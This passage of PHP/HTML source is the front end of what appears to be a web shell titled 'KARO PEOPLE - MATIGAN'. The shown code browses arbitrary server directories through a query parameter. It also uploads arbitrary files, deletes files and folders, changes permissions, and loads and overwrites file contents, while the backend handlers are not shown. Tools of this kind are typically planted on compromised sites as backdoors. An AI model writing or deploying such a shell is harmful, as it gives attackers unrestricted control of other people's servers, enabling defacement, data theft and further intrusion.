<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,
initial-scale=1.0">
<title>KARO PEOPLE - MATIGAN</title>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css"
rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h1 class="text-center mb-4">KARO PEOPLE -
MATIGAN</h1>
<!-- File Upload Form -->
<div class="card mb-4">
<div class="card-header">
<h2>Upload File</h2>
</div>
<div class="card-body">
<form action="" method="POST"
enctype="multipart/form-data" class="form-inline">
<div class="form-group">
<input type="file"
name="file_to_upload" class="form-control mb-2
mr-2">
</div>
<button type="submit" class="btn
btn-primary mb-2">Upload</button>
</form>
</div>
</div>
<!-- Directory Content -->
<div class="card">
<div class="card-header">
<h2>Directory Content: <?php echo
htmlspecialchars($full_path); ?></h2>
</div>
<div class="card-body">
<ul class="list-group">
<?php foreach ($files as $file): ?>
<?php if ($file !== '.' && $file
!== '..'): ?>
<li class="list-group-item d-flex
justify-content-between align-items-center">
<?php if (is_dir($full_path .
DIRECTORY_SEPARATOR . $file)): ?>
<a href="?dir=<?php echo
urlencode($full_path . DIRECTORY_SEPARATOR . $file); ?>">
<strong><?php echo
htmlspecialchars($file); ?></strong>
</a>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="delete_folder" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<button type="submit"
class="btn btn-danger btn-sm">Delete Folder</button>
</form>
<?php else: ?>
<?php echo htmlspecialchars($file);
?>
(<?php echo
format_size(filesize($full_path . DIRECTORY_SEPARATOR . $file)); ?>)
<span
class="text-muted">(Permissions: <?php echo
get_permissions($full_path . DIRECTORY_SEPARATOR . $file);
?>)</span>
<div>
<button type="button"
class="btn btn-warning btn-sm"
onclick="editFile('<?php echo addslashes($full_path .
DIRECTORY_SEPARATOR . $file); ?>')">Edit</button>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="delete_file" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<button type="submit"
class="btn btn-danger btn-sm">Delete</button>
</form>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="target_path" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<input type="text"
name="permissions" placeholder="0644"
class="form-control-sm">
<button type="submit"
name="set_permissions" class="btn btn-info
btn-sm">Set Permissions</button>
</form>
</div>
<?php endif; ?>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
</div>
</div>
</div>
<!-- Modal for Editing File -->
<div id="editModal" class="modal"
tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Edit
File</h5>
<button type="button"
class="btn-close"
onclick="closeModal()"></button>
</div>
<div class="modal-body">
<form action="" method="POST">
<input type="hidden"
name="edit_file" id="edit_file">
<div class="form-group">
<textarea name="file_content"
id="file_content" rows="10"
class="form-control"></textarea>
</div>
<button type="submit" class="btn
btn-primary mt-3">Save Changes</button>
</form>
</div>
<div class="modal-footer">
<button type="button" class="btn
btn-secondary"
onclick="closeModal()">Close</button>
</div>
</div>
</div>
</div>
<script>
function editFile(filePath) {
document.getElementById('editModal').style.display =
'block';
document.getElementById('edit_file').value = filePath;
// Load file content using Ajax
var xhr = new XMLHttpRequest();
xhr.open('GET', '?load_file=' +
encodeURIComponent(filePath), true);
xhr.onload = function () {
if (xhr.status === 200) {
document.getElementById('file_content').value =
xhr.responseText;
}
};
xhr.send();
}
function closeModal() {
document.getElementById('editModal').style.display =
'none';
}
</script>
<!-- Bootstrap JS -->
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>